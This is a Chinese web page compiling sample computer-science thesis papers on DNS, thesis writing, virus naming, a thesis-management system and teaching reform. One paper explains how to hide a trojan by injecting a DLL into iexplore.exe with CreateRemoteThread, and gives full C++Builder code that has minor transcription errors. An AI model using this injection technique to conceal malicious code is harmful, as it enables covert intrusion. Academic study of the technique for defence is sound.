计算机系毕业论文范文

导语：如何才能写好一篇计算机系毕业论文，这就需要搜集整理更多的资料和文献，欢迎阅读由公务员之家整理的十篇范文，供你借鉴。

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关键词：域名地址服务器

当前，在经济全球化和全球信息化大潮中，人们不仅重视信息及其集成的作用，而且更加重视信息使用者对信息集成的反应和运用。互联网上的域名已为越来越多的人们所关注，因此，了解域名及其对应的IP地址的关系，正确地配置域名服务器，就成为设立网站、使自己在Internet上注册的域名得到体现的关键。

1.IP地址

IP(InternetProtocol)地址就是网络协议地址,是分配给网络节点的逻辑地址。这些网络节点可以是网络中的任何一台主机，提供节点之间的交换信息服务。由于在Internet网络中存在着大量的节点,为了能够在网上找到这个节点,就必须给予标识。IP地址就是一种标识方法,它独立于任何特定的网络硬件和网络配置,使用TCP/IP协议的网络在发送或接收信息时先把数据打包,然后将目标IP地址翻译成MAC(Medi-umAccessControl)硬件的物理地址,这样就可以把数据包准确地发送或接收过来。

每个IP地址是由4个字节共32位组成,每字节之间使用小数点分隔,一般用十进制数字表示。每个IP地址包括两个标识(ID),即网络ID和宿主机ID,同一个物理网络上的所有主机都用同一个网络ID,而网络上的每个服务器、路由器、计算机等都有一个主机ID。比如202.98.180.194即是云南省科学技术情报研究所的一个WWW服务器的IP地址。

2.因特网域名及结构

由于IP地址全是数字代码，既不直观又难于记忆，因特网在IP地址的基础上，提供了一种面向用户的主机名字，即域名。如istiy(InstituteofScientific&TechnicalInformationofYunnan)为我所(云南省科学技术情报研究所)的英文缩写。即为我所在因特网上注册的域名，而(主机名+域名)为我所DNS服务器的主机域名，对应的IP地址就是202.98.180.193。

3.域名解析系统DNS(DomainNameSystem)就是提供域名与IP地址相互映射的网络服务。事实上，DNS是遍布于全世界的一个分布式数据库。它主要负责控制整个数据库中的部分段，每一段中的数据通过客户/服务模式在整个网络上均可存取。DNS的数据库结构，同UNIX文件系统（或MSDOS文件系统）的结构很相似，整个数据库（或文件系统）将根放在顶端，画出来就像一颗倒转的树。在DNS中,根的名字以空字符串“”表示，DNS简单地称其为“根”（Root）或偶而称之为“根域”(RootDomain),在UNIX文件系统中,根以反斜杠“/”表示,被称为“根目录”。如图1所示．

图1在DNS和UNIX文件系统中名称的读法

DNS数据库“”

cn

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自考计算机专业毕业论文怎么写呢？有没有什么写作技巧呢？本篇就是向大家介绍了自考计算机专业毕业论文写作技巧，记得关注学术参考网查看更多的论文写作方法，欢迎大家阅读借鉴。

写作流程

自考计算机专业毕业论文有1年准备时间，写作时间的分配主要取决于考生软件开发的进度，如果考生开发的软件很成熟，那末后续的写作时间就较快，否则后面的写作就会很被动。例如，一般会在每年7月份登记，9月底开题，期间开发软件，到第二年2、3月就要完成初稿，再留一个月修改。

1、选题。选题首先要重要、有意义。例如有的考生选择设计木马程序，其本身是个病毒程序，这样的程序只能带来危害，实际生活中没有意义，就不能用于做毕业论文。

2、开发软件。开发软件要与实际相结合。实际性非常重要，要自己能开发一个能实际运行的软件。有的考生自己并没有参与实际工作，只是看书是不行的。自己参与的可以是一个大的项目或课题组，论文中介绍完大的系统后，一定要把自己的工作量写清楚。

3、写论文。开发完就可以写论文了，论文是个总结，但是不要写成工作总结，一定要有主题，应体现自己的开发思想和论述自考本科计算机专业毕业论文写作指南自考本科计算机专业毕业论文写作指南。写论文要达到一定字数，一般要3万字。其中，编程代码一般为2-3千行，这个不是机器自动生成的代码，一定是自己写的源代码。

论文结构

计算机专业毕业论文一般有8个部分。1、概述或引言。这个部分相当于大纲，一般要求4－5千字，主要是对软件开发背景，使用的软件工具、环境，最后达到的效果，自我在里面的贡献等；2、需求分析。软件有哪些功能、模块，用的什么工具等；3、设计方案和主要技术自考本科计算机专业毕业论文写作指南文章自考本科计算机专业毕业论文写作指南出自http：//gkstk.com/article/wk-78500001321796.html，转载请保留此链接！。主要是对里面每一部分的详细论述，使用的是什么技术，为什么使用。详细的模块分析或遇到的难点是怎样解决的等；4、具体的实现过程；5、测试。介绍自己开发软件实际达到的效果；6、总结。介绍自己开发软件的体会，或自己开发的成果使用情况，有什么评价，自己还有哪些不足，有什么需要改进的地方；7、致谢；8、参考文献。另外，还可以加一个“附录”部分。正文只能有一个中心，其他有重要参考价值的都可以放在附录部分。例如有重要的代码、图表，涉及其他领域的知识，需要解释的等都可以放在附录部分。

案例1：《家装工程预算软件的开放》1、概述；2、需求分析；3、总体设计；4、数据库设计；5、软件功能的实现；6、结论及改进；7、致谢；8、参考文献。

案例2：《经纬中天无线短信增值服务管理软件的设计和开放》1、引言；2、需求分析；3、设计方案论证和主要技术介绍；4、系统设计；5、编码实现；6、实际运行中出现的问题及相应的解决方案；7、结束语；8、致谢；9、参考文献。

答辩程序

答辩现场会有专业老师组成的答辩小组，一般为5人左右，学生抽签分配答辩组。答辩现场要考生做介绍和演示。考生需要提前准备幻灯片，一般不超过20张，为论文最核心部分的内容自考本科计算机专业毕业论文写作指南论文

WiseMedia

考生结合幻灯片介绍论文，答辩小组老师会根据考生论文提出问题，考生要实事求是回答，最后答辩小组老师打分，求平均分给出考生论文成绩。大部分考生都会达到优、良，个别考生没有通过论文，主要有两方面原因：1、论文并不是自己真正所做，用别人的软件为自己所用，老师一提问就能发现破绽；2、考生论得太简单，达不到工作量。这就需要考生踏踏实实地按照要求去作论文。

零碎提醒

论文的题目不要太大，一定要具体、实际，不能吹成通用的；

自考生考过全部课程后，最好能寻求实践机会。可以去应聘公司，真正参与一个项目，一边工作一边写论文；

论文不要上网抄，一定要自己做；

引用资料要有脚注；

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网络或者系统漏洞进行传播，很大部分的蠕虫病毒都有向外发送带毒邮件，阻塞网络的特性。比如冲击波(阻塞网络)，小邮差(发带毒邮件)等。

(一)木马病毒、黑客病毒木马病毒其前缀是：Trojan，黑客病毒前缀名一般为Hack。木马病毒的公有特性是通过网络或者系统漏洞进入用户的系统并隐藏，然后向外界泄露用户的信息，而黑客病毒则有一个可视的界面，能对用户的电脑进行远程控制。木马、黑客病毒往往是成对出现的，即木马病毒负责侵入用户的电脑，而黑客病毒则会通过该木马病毒来进行控制。现在这两种类型都越来越趋向于整合了。一般的木马如QQ消息尾巴木马Trojan．QQ3344，有大家可能遇见比较多的针对网络游戏的木马病毒如Trojan．LMir．PSW．60。这里补充一点，病毒名中有PSW或者什么PWD之类的一般都表示这个病毒有盗取密码的功能(这些字母一般都为密码的英文password的缩写)一些黑客程序如：网络枭雄(Hack．Nether．C1ient)等。

(二)宏病毒其实宏病毒是也是脚本病毒的一种，由于它的特殊性，因此在这里单独算成一类。宏病毒的前缀是：Macro，第二前缀是：Word、Word97、Excel、Excet97(也许还有别的)其中之一。凡是只感染WORD97及以前版本WORD文档的病毒采用Word97作为第二前缀，格式是：Macro．Word97；凡是只感染WORD97以后版本WORD文档的病毒采用Word作为第二前缀，格式是：Macro．Word；凡是只感染EXCEL97及以前版本EXCEL文档的病毒采用Excel97作为第二前缀，格式是：

(三)脚本病毒脚本病毒的前缀是：Script。脚本病毒的公有特性是使用脚本语言编写，通过网页进行的传播的病毒，如红色代码(Script．Redlof)可不是我们的老大代码兄哦。脚本病毒还会有如下前缀：VBS、js(表明是何种脚本编写的)，如欢乐时光(VBS．Happytime)、十四日(Js．Fortnight．C．S)等。推荐阅读：远程开放教育软件工程专业毕业论文

Macro．Excel97；凡是只感染EXCEL97以后版本EXCEL文档的病毒采用Excel作为第二前缀，格式是：Macro．Excel，依此类推。

(四)后门病毒后门病毒的前缀是：Backdoor。该类病毒的公有特性是通过网络传播，给系统开后门，给用户电脑带来安全隐患。如很多朋友遇到过的IRC后f]Backdoor．IRCBot。

(五)破坏性程序病毒破坏性程序病毒的前缀是：Harm。这类病毒的公有特性是本身具有好看的图标来诱惑用户点击，当用户点击这类病毒时，病毒便会直接对用户计算机产生破坏。如：格式化c盘(Harm．formatC．f)、杀手命令(Harm．Command．Killer)等。

(六)玩笑病毒玩笑病毒的前缀是：Joke。也称恶作剧病毒。这类病毒的公有特性是本身具有好看的图标来诱惑用户点击，当用户点击这类病毒时，病毒会做出各种破坏操作来吓唬用户，其实病毒并没有对用户电脑进行任何破坏。如：女鬼(Joke．Girlghost)病毒。

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摘要进程的隐藏一直是木马程序设计者不断探求的重要技术，本文采用远程线程技术，通过动态链接库方法，较好地解决了这一问题，通过远程线程将木马作为线程隐藏在其他进程中，从而达到隐藏的目的。

关键字进程线程木马动态链接库

木马程序(也称后门程序)是能被控制的运行在远程主机上的程序，由于木马程序是运行在远程主机上，所以进程的隐藏无疑是大家关心的焦点。

本文分析了WindowsNT/2000系统下进程隐藏的基本技术和方法，并着重讨论运用线程嫁接技术如何实现WindowsNT/2000系统中进程的隐藏。

1基本原理

在WIN95/98中，只需要将进程注册为系统服务就能够从进程查看器中隐形，可是这一切在WindowsNT/2000中却完全不同，无论木马从端口、启动文件上如何巧妙地隐藏自己，始终都不能躲过WindowsNT/2000的任务管理器，WindowsNT/2000的任务管理器均能轻松显示出木马进程，难道在WindowsNT/2000下木马真的再也无法隐藏自己的进程了？我们知道，在WINDOWS系统下，可执行文件主要是Exe和Com文件，这两种文件在运行时都有一个共同点，会生成一个独立的进程，寻找特定进程是我们发现木马的方法之一，随着入侵检测软件的不断发展，关联进程和SOCKET已经成为流行的技术，假设一个木马在运行时被检测软件同时查出端口和进程，我们基本上认为这个木马的隐藏已经完全失败。在WindowsNT/2000下正常情况用户进程对于系统管理员来说都是可见的，要想做到木马的进程隐藏，有两个办法，第一是让系统管理员看不见你的进程；第二是不使用进程。本文以第二种方法为例加以讨论，其基本原理是将自已的木马以线程方式嫁接于远程进程之中，远程进程则是合法的用户程序，这样用户管理者看到的只是合法进程，而无法发现木马线程的存在，从而达到隐藏的目的。

2实现方法

为了弄清实现方法，我们必须首先了解Windows系统的另一种"可执行文件"----DLL，DLL是DynamicLinkLibrary（动态链接库）的缩写，DLL文件是Windows的基础，因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑，是由多个功能函数构成，它并不能独立运行，一般都是由进程加载并调用的。因为DLL文件不能独立运行，所以在进程列表中并不会出现DLL，假设我们编写了一个木马DLL，并且通过别的进程来运行它，那么无论是入侵检测软件还是进程列表中，都只会出现那个进程而并不会出现木马DLL，如果那个进程是可信进程，（例如浏览器程序IEXPLORE.EXE，没人会怀疑它是木马吧？）那么我们编写的DLL作为那个进程的一部分，也将成为被信赖的一员，也就达到了隐藏的目的。

运行DLL方法有多种，但其中最隐蔽的方法是采用动态嵌入技术，动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说，在Windows中的每个进程都有自己的私有内存空间，别的进程是不允许对这个私有空间进行操作的，但是实际上，我们仍然可以利用种种方法进入并操作进程的私有内存。动态嵌入技术有多种如：窗口Hook、挂接API、远程线程等，这里介绍一下远程线程技术，它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。

远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道，在进程中，可以通过CreateThread函数创建线程，被创建的新线程与主线程（就是进程启动时被同时自动建立的那个线程）共享地址空间以及其他的资源。但是很少有人知道，通过CreateRemoteThread也同样可以在另一个进程内创建新线程，被创建的远程线程同样可以共享远程进程（是远程进程）的地址空间，所以，实际上，我们通过一个远程线程，进入了远程进程的内存地址空间，也就拥有了那个远程进程相当的权限。

3实施步骤

1）用Process32Next（）函数找到宿主进程,获取宿主进程ID,并用

OpenProcess（）函数打开宿主进程。

2）用VirtualAllocEx（）函数分配远程进程地址空间中的

内存。

3）用WriteProcessMemory（）函数将待隐藏的DLL的路径名。

4）拷贝到步骤二已经分配的内存中。

5）用GetProcAddress（）函数获取LoadlibraryA（）函数的实地址（在kernel32.dll中）。

6）用CreateRemoteThread（）函数在远程进程中创建一个线程。

7）它调用正确的LoadlibraryA（）函数。

8）为它传递步骤二中分配的内存地址。

4具体实例

下面是在C++Builder4.0环境下编写的运用远程线程技术隐藏木马的程序代码：

#include<vcl.h>

#include<windows.h>

#include<stdio.h>

#include<tlhelp32.h>//该头文件包涵了进程操作的API函数

#pragmahdrstop

#include"Unit1.h"

#pragmapackage(smart_init)

#pragmaresource"*.dfm"

InsistingpszLibFileName;//存放待隐藏的DLL文件名

HANDLEhProcessSnap=NULL;//进程快照句柄

HANDLEhRemoteProcess;//远程进程句柄

LPVOIDpszLibFileRemote;//远程进程中分配给文件名的空间

HMODULEphmd;//存放kernel32.dll句柄

HANDLEhRemoteThread1=NULL;//存放远程线程句柄

TForm1*Form1;

//---------------------------------------------------------

__fastcallTForm1::TForm1(TComponent*Owner)

:TForm(Owner)

{

}

//---------------------------------------------------------

void__fastcallTForm1::Button1Click(TObject*Sender

{

PROCESSENTRY32pe32={0};

DWORDdwRemoteProcessId;

hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//打开进程快照

if(hProcessSnap==(HANDLE)-1)

{

MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);

exit(0);

}//失败返回

pe32.dwSize=sizeof(PROCESSENTRY32);

if(Process32Fi

rst(hProcessSnap,&pe32))//获取第一个进程

{

do{

AnsiStringte;

te=pe32.szExeFile;

if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))

//找到宿主进程，以IEXPLORE.EXE为例

{dwRemoteProcessId=pe32.th32ProcessID;

break;

}

}

while(Process32Next(hProcessSnap,&pe32));//获取下一个进程

}

else

{

MessageBox(NULL,"取第一个进程失败","",MB_OK);

exit(0);

}

hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

//打开远程进程

pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";

//假设hide.dll是待隐藏的进程

intcb=(1+pszLibFileName.Length())*sizeof(char);//计算dll文件名长度

pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

MEM_COMMIT,PAGE_READWRITE);

//申请存放文件名的空间

BOOLReturnCode=WriteProcessMemory(hRemoteProcess,

pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

//把dll文件名写入申请的空间

phmd=GetModuleHandle("kernel32.dll");

LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)

GetProcAddress(phmd,"LoadLibraryA");

//获取动态链接库函数地址

hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,

pfnStartAddr,pszLibFileRemote,0,NULL);

//创建远程线

if(hRemoteThread1!=NULL)

CloseHandle(hRemoteThread1);//关闭远程线程

if(hProcessSnap!=NULL)

CloseHandle(hProcessSnap);//关闭进程快照

}

该程序编译后命名为RmtDll.exe,运行时点击界面上的按钮即可。

至此，远程嵌入顺利完成，为了试验我们的hide.dll是不是已经正常地在远程线程运行，我同样在C++Builder4.0环境下编写并编译了下面的hide.dll作为测试：

nclude<vcl.h>

#include<windows.h>

#pragmahdrstop

#pragmaargsused

BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)

{

charszProcessId[64];

switch(reason)

{

caseDLL_PROCESS_ATTACH:

{//获取当前进程ID

itoa(GetCurrentProcessId(),szProcessId,10);

MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

break;

}

default:

}

returnTRUE;

}

当使用RmtDll.exe程序将这个hide.dll嵌入IEXPLORE.EXE进程后假设PID=1208），该测试DLL弹出了1208字样的确认框，同时使用PS工具

也能看到:

ProcessID:1208

C:\WINNT\IEXPLORE.EXE(0x00400000)

……

C:\WINNT\hide.dll(0x100000000)

……

这证明hide.dll已经在IEXPLORE.EXE进程内正确地运行了。上面程序的头文件由编译器自动生成，未作改动，故略之。

5结束语

进程隐藏技术和方法有很多，而且这一技术发展也相当快，本文仅从一个侧面加以讨论，希望通过这一探讨让我们对进程隐藏技术有一个更清楚的认识，同时也为我们防范他人利用进程隐藏手段非法入侵提供参考，本文抛砖引玉，不当之处诚恳批评指正。

参考文献

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关键词：论文管理平台；B/S模式；三层架构

中图分类号：TP311.52

毕业论文是高等学校学生在掌握基本理论、基本知识和基本技能的基础上，运用本专业知识和技能所进行的全面的综合训练。当前不少高校对毕业论文的管理主要还是采取传统人工管理模式，在论文选题、论文指导、资料收集、报表提交等多方面存在效率低、效果差等问题。随着网络技术的不断发展，许多高校尝试使用信息技术对毕业论文进行管理，也有一些软件厂商开发了相应的通用软件平台。

多数系统向管理员、教师、学生三种类型的用户提供服务，解决了导师出题、学生选题、毕业论文材料的上交与审核。有的系统还实现了师生实时交流、在线评审以及毕业统计等功能。

但是由于不同高校在毕业论文的组织和管理存在差异，开发一个适合本单位使用的毕业论文管理系统，更有利于论文管理和系统维护。为了进一步提高毕业设计（论文）教学效率，本平台结合某系在近些年实践教学环节中实际情况，应用软件工程的思想和方法研究了毕业论文管理平台的设计，实现了对毕业论文的网络管理，提高了效率和管理水平。

1 系统功能

根据《闽江学院毕业论文（设计）工作规定》，毕业论文写作的主要工作有：教学秘书进行毕业论文初始工作（设置参与论文写作工作的指导教师和学生，毕业论文工作计划、相关通知公告及相关表格文件等）、指导教师拟定毕业论文选题、学生选择或者自拟论文选题、师生互选、学生提交题目审批表、教师下达任务书、学生提交开题报告、论文写作与指导、中期检查、论文定稿、指导教师评阅、专家评阅、毕业论文答辩、毕业论文资料归档等工作。

2 系统功能模块

本系统的用户包括学生、教师、教学秘书、院系领导，系统设计目标是实现毕业论文管理的网络化、系统化、自动化。核心功能是教师拟出课题、学生选题、在线提交各种文档、在线论文指导。系统应满足学生、教师、教学秘书、院系领导四种类型的需要，针对不同类型，使用不同的功能模块。学生主要有选题、上传文档、提交论文等功能。教师有设定论文题目、选择学生、查看指导学生提交的文档等功能。教书秘书全程调节毕业设计进程。院系领导进行审查和审核。

2.1 教师模块

教师由教学设置用户名和账号。主要实现：课题、选择指导学生、任务书、审核开题报告、中期检查报告、修改论文、成绩评定等。

2.2 学生用户模块

学生使用平台登录，用户名和初始密码由系统给出。主要实现：选择课题、选择教师、填写题目审批表和开题报告、提交论文等功能。

2.3 教学秘书模块是毕业毕业论文管理平台的系统管理账户。主要实现：设置指导教师、设置指导学生、统计毕业论文报表、毕业论文计划。

2.4 院系领导模块

院系领导主要对毕业论文各阶段进行监督和审核。

3 系统总体结构设计

根据系统功能，设计采用以Web为基础的三层架构的B/S模式，分为客户层、应用层和数据层。

客户层：实现在客户端浏览器中显示的用户界面。该层可以调用由业务逻辑层提供的业务方法，也可以直接调用由数据层提供的接口访问数据库。客户层实现了系统与用户间的接口，用户通过Web浏览器访问论文管理平台。应用层作为系统核心，封装了主要的业务逻辑。

应用层：主要是针对具体的问题的操作，也可以理解成对数据层的操作，对数据业务进行逻辑处理。在接收了用户提交的http请求后，由Web应用服务器接受请求并由处理程序解释，并进行相应处理。操作结果以HTML页面的形式返回给浏览器。

采用三层结构这种模式能较好地适应开发，对代码重用、代码分层以及对以后的软件维护等等有很大的作用。尤其考虑到本平台在运行过程中随着毕业论文流程可能的变化以及对功能扩展的需求，更应该采用三层结构。

开发工具采用Visual 2010，编程语言采用C#，前端界面使用，采用Microsoft SQL Server2008作为后台数据库管理系统。其中是创建动态Web页的服务器端技术，作为应用程序采用的数据访问模型。在服务器端运行，应用程序使用连接数据源，并进行数据操作。

4 后台数据库设计

毕业论文平台后台使用SQL SERVER数据库。设计过程中使用ER图定义实体关系模型，并根据范式理论进行优化。

根据需求分析和设计要求，毕业论文平台主要包含以下数据表：

（1）Administrator，存储教学秘书信息。

（2）Dean，存储院系领导信息。

（3）Teacher，存储教师用户相关信息，包括用户名、密码和教师基本信息等。

（4）Student，用来存储学生用户相关信息。

（5）DepartmentInfo，用来存储院系信息。

（6）Plan，用来存储毕业论文计划信息。

（7）Thesis，用来存储毕业设计课题。

（8）Task，用来存储任务书信息。

（9）TitleForm，用来存储题目审批表信息。

（10）Report，用来存储开题报告信息。

此外还有一些辅助表。

5 系统的主要特色

考虑到本单位实际需求和运行情况，平台重点突出两大特色：

师生互选。教务秘书设定指导教师指导的学生总数，教师提交课题后，学生登录平台，查看相应课题，根据自己擅长或喜欢的方向进行选择。在选题的过程中，每个导师的学生数量有限，达到上限后，学生不能选择该导师，需要从其他导师的课题中重新进行选择课题。教师可以决定是否接受该学生。教师指导人数到达上限后，不再接受学生。

审批功能。教师可以查看到所指导学生的任务书、开题报告、毕业论文等信息，并进行审核。院系领导对教师审核后的文档进行最终审批。

6 结束语

本毕业论文管理系统基于本校实际开发，充分利用了网络资源，方便管理人员对毕业论文全阶段的监督和控制；使学生选题过程公开化、合理化，解决了以往选题散乱、人工干预多的问题；促进毕业指导老师与学生互动；较好地适应毕业论文管理需要。今后可以在平台上添加答辩管理、论文检索等功能，进一步规范和扩展使用空间。

参考文献：

[1]应颂翔.基于B/S架构的毕业论文管理信息系统设计[D].浙江工业大学，2011.

[2]潘旭武.基于工作流的毕业设计管理系统[J].计算机系统应用，2013（22）：54-57.

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1.一个同学超强，答辩的时候，说话声音较小，下面的老师听不清楚，于是转头向另一位老师小声询问。此同学见了立刻停下来，大声问：“老师在说什么？”一时间全场爆笑，老师尴尬无语。最后一个环节是致谢，PPT内容基本上叙述了指导老师的教研实绩，该同学还深情地说自己很喜欢和老师讨论问题等。他的致谢还没有读到一半，他的导师“唰”一下站了起来，气恼地说：“我不是让你删掉这些吗？”全场在一阵沉默后，又是爆笑！！

2.毕业时，我做了一个信息管理系统。答辩一开始，老师就狂说，做系统嘛，一定要考虑安全性、容错性。然后就问：如果突然断电，你的系统能保证安全吗？我郁闷得不行，就说：“不光是断电，机器还可能被偷走呢，管理员还会被车撞死呢？我只做软件，其他的不关我事！”老师眼睛瞪得大大的……

3.答辩的时候，班上的一个牛人上台，侃了一个小时的音乐（我们是计算机系的），从声波讲到机械波，然后来一句“最后放一首我自己翻唱的歌《大地》”。底下的老师楞是一个问题也没来得及问就傻了。

4.我答辩的时候是十几个人轮流上台答辩，到最后是一个女生。前面答辩的同学基本都是站着口述一番就可以了。不过这个女同学架势很猛，拿起粉笔就在黑板上写写画画起来。因为是最后一个，老师们都在底下聊天没人细听，该女生直接就点了某老师的名，大叫：“×××，用心听讲！”，底下所有老师和同学先是一愣，继而一起笑倒……

5.有一哥们儿毕业论文是个有关电梯的东西，他什么都没做过，论文是抄的。答辩时，老师问什么他都不知道。最后老师急了，问道：那么你知道什么？他说：我知道这个电梯按向上的按钮它会上去，按向下的它会下去。他老师吐血，给60分让他走人了。

6.某同学拿着写了25页的有关USB技术的论文上去答辩。老师开口就问：“请你用一句话介绍一下USB技术。”我同学立即怒道：“一句话？一句话可以说清楚我写25页干吗？一句话可以说清楚我站在这里干吗？”整个答辩场集体沉默2分钟。

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【关键词】计算机 教学改革 特色 研究

【中图分类号】G642 【文献标识码】A 【文章编号】1674-4810（2013）04-0079-02

本文基于甘肃民族师范学院计算机科学系数年来藏汉双语专业教学改革研究，总结分析了建设发展中的不足和改革经验，提出解决之道和发展思路，同时也为同类型专业的发展提供了可借鉴经验。

一 源于学院教学改革的需要

根据学院教学改革的要求和发展需要，为了确立独具特色的“藏汉双语教学”模式，找准专业技能教学与双语模式创新的结合点，全面落实国家关于高校民族教育的发展方针政策，最大限度地提高学生掌握计算机实用技术，把学生培养成精通民汉双语、熟练掌握计算机实用技术、勇于创新的高素质人才，计算机科学系在四年的计算机应用技术（藏文信息处理）专业的建设过程中，勇于改革，推陈出新，走出了一条特色鲜明的专业建设之路。

二 教学改革中遇到的两个主要问题

在教学实践中，我们选择了以汉语为主、藏语为辅的课堂教学语言，选择了以实用技术为主、理论知识为辅的课程设置结构，选择这种模式的原因主要有：

1.计算机民语师资力量比较薄弱

我系现有专业教师30人，其中可以应用藏汉双语教学的教师4人，这4人都是硕士，其中副高职称2人、中级1人、初级1人。在多年的教学过程中，这4位双语教师都能潜心教学和科研，尽心尽力，在教学过程中逐渐形成了一套较为成功的计算机藏汉双语教学模式，这些努力在很大程度上保障了我系双语教学的顺利进行，但这仍无法满足计算机专业课程的纯藏语教学需要，也不能很好地适应这个专业教学内容快速发展和变化的现状。绝大多数专业课程的教学仍是以汉语为主，能实现双语教学的课程只有6门。

2.教材和教辅资料严重匮乏

在高校用藏语教授计算机是近几年新发展起来的一门学科，专业术语等的翻译没有形成全国统一标准，仅处于起步阶段，教材和各种教辅资料严重不足，如果在课堂上只用藏语教学，因为没有提供教材，现阶段是无法实现的。

3.藏语软件实验环境建设滞后

在学院的大力扶持下，我系购置了方正藏文书版系统30套，丰富了藏文教学软件，我们还搜集了各种藏文输入法，但教学需要的计算机系统软件、应用软件数目庞杂，且更新速度快，无法实现所有软件藏文化。所有的努力只是杯水车薪，软件环境也无法保障藏语课堂主要用语的教学模式。

4.重理论、轻实践的课程结构的弊端

纵观我国高校计算机教学的发展，如雨后春笋，蒸蒸日上。但受我国传统的重理论、轻应用的教学习惯的影响，计算机专业也形成了较为固定的课程结构和教学模式，许多高校计算机专业的课程设置几乎如出一辙，重理论，轻实践；重知识，轻技能。没有因地制宜地设置课程，脱离实际需要，不能更好地发挥高校为地方输送实用型人才的作用。我校是一所刚刚升本的民族高校，教学建设必须为地方经济发展服务，我们认为本专业的根本任务是培养能在藏区工作和为藏区社会主义现代化建设服务的实用人才。如果我们的课程结构缺乏与社会实际需求的联系，宽口径的人才培养与专业特长之间的关系把握不准，专业课程设置仅围绕着学科方向进行，没有从地方经济社会实际需求的角度来审视，就难以满足为民族地区培养多样化人才的需求。

三 教学改革措施

为了落实学院教学改革精神，突出应用型人才的培养目标，体现能力培养的中心地位，我系加强了实用软件类课程教学学时数和实践教学内容、实训内容的改革，同时也加大了藏汉双语语言能力的培养力度。我们在实践中总结经验，找到适应于计算机应用技术专业藏汉双语教学的中心点，力求在改革中完成高校民族教育赋予我们的重任。

完全依赖民族语言的专业课程教学模式已不能适应高等教育发展的需求，偏重理论教学的专业课程结构也不适应地方经济建设的实际需求，所以本专业的建设必须走出一条特色鲜明、切实可行的建设之路。为此，在这四年的专业建设中，我们采取了一系列改革措施，主要有以下两个方面：

1.注重学生应用能力的培养，课程结构做出较大调整

我们始终坚持这样一个观念，本专业包括课程设置在内的所有教学改革都是为地方经济建设发展服务的，必须立足现实，把实现学生毕业后能快速上岗作为培养目标。为了体现能力培养的中心地位，我们加强了对实用软件类课程的教学要求，调整了教学计划，增加了应用软件类课程的教学学时数，专业课程结构做出了重大改革。

第一，课程结构做出较大调整。针对目前计算机行业的发展形势及学生生源现状，我们在教学计划中对传统的课程结构和设计进行了改革，注重加强实验、实训等实践教学环节，加大应用型课程的课时量，整个课程结构与传统计算机应用专业相比，可谓是大胆创新，这也更符合我校教学改革的精神。我们只保留了少数的主干课程，对理论性较强的课程的课时压缩较大，同时我们又增加了《计算机工具软件》《平面图形处理》《二维动画制作》《三维动画制作》《非线性编辑技术》《ACCESS数据库》《方正书版（藏文版）》和《网页设计》等课程的课时量，还增加了《基础藏语》《应用文写作》等语言课程，另外还设计了《局域网组网》《音视频处理》等实训课。砍掉了《微机原理》《软件工程》《数据库原理》《离散数学》《概率与数理统计》《高等物理》等偏重理论的课程，保留下来的如《数据结构》和《操作系统》等传统课程有的缩减了课时，有的安排到专业选修课程中，总之课程结构的调整幅度较大。

第二，教学环节注重操作技能培训，淡化理论知识灌输。本专业课程分为通识课、专业课和职业课三类，其中通识课和职业课是严格执行学院统一的教学计划，专业课又分为基础课、发展课和方向课三个层次。专业课程总课时量是1000课时，其中实用软件类课程占600课时，是专业课课时量的60%。

2.以汉语为主、民语为辅的课堂教学用语

第一，学生状况分析：我系的双语学生总体上可以分成两类，“藏加汉”和“汉加藏”；第二，师资力量分析；第三，课堂教学用语的选择。

四 保障措施

1.建立定期研讨专业建设的机制

专业建设是一个长期的工作，需要不断丰富和完善。专业建设的研讨工作是专业建设工作能长期有效、持续发展的保障。专业建设研究是对整个专业的建设进行科学分析和总结，从中发现问题和解决问题，并设计和尝试改革的过程，是教学研究的重要组成部分。定期进行专业建设的研讨，研讨内容为课程体系、教学大纲、教学计划、课堂教学、教材处理、教材开发、精品课程建设、课程设计、毕业论文、全员听评课、援教顶岗实习等。

2.落实学院各项教学管理制度，规范教学和教学管理行为

为了加强本科教学管理，提升办学水平，学院先后出台了一系列教学工作规范和建设实施管理办法，对本科教学各主要环节和建设实施提出了明确要求和标准，我们在执行学校有关规章制度的基础上，细化、量化教学工作，结合我系办学特色实际制定和完善相关的教学管理制度，进一步加强和规范教学质量评估与管理、实践教学管理、教材管理和学籍管理等方面的工作，同时在落实上要狠下工夫，保证各项规章制度的顺利实施。

3.完善教学质量控制

经过几年的教学实践，我们要进一步建立科学完善的教学质量监控体系，包括教学质量监控的目标、教学质量监控的内容、教学质量监控的组织和实施。通过教学质量监控的运行，我们将采集到的信息进行定量和定性分析，把结果分别反馈给教学管理人员、教师和学生，并对整改意见的落实进行动态监控，保证教学质量的稳步提高。

4.健全学习效果评价体系

学习效果评价体系是检验和评价教学水平的重要手段。为了适应新的人才培养方案和培养模式，我们要突破原来单一的考试成绩评价方法，强调多层面、多角度的考核方式，形成由过程评价与结果评价相结合的体系。对专业课程主要从考勤、作业、实验、作品设计的成绩和期末考查考试成绩进行综合评价；对援教顶岗、支教实习主要从校内实习前试讲成绩、教案成绩、实习学校评定成绩三部分组成，每种评价侧重不同、权重不同，组成了全方位考评学生的评价体系。毕业论文与毕业设计允许学生用藏汉双语创作，鼓励开发藏文软件和藏文网站，提供优秀作品展示平台。

参考文献

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[2]黄维通、许忠信、朱小梅等.中外计算机应用人才培养比较[J].计算机教育，2005（5）

[3]吴成茂、刘尘尘、柳刚.加强计算机专业建设提高本专业学生就业能力[J].科技信息，2006（4）

[4]雷景生、康耀红、钟声.计算机科学与技术专业课程体系的优化与整合[J].海南大学学报，2005（12）

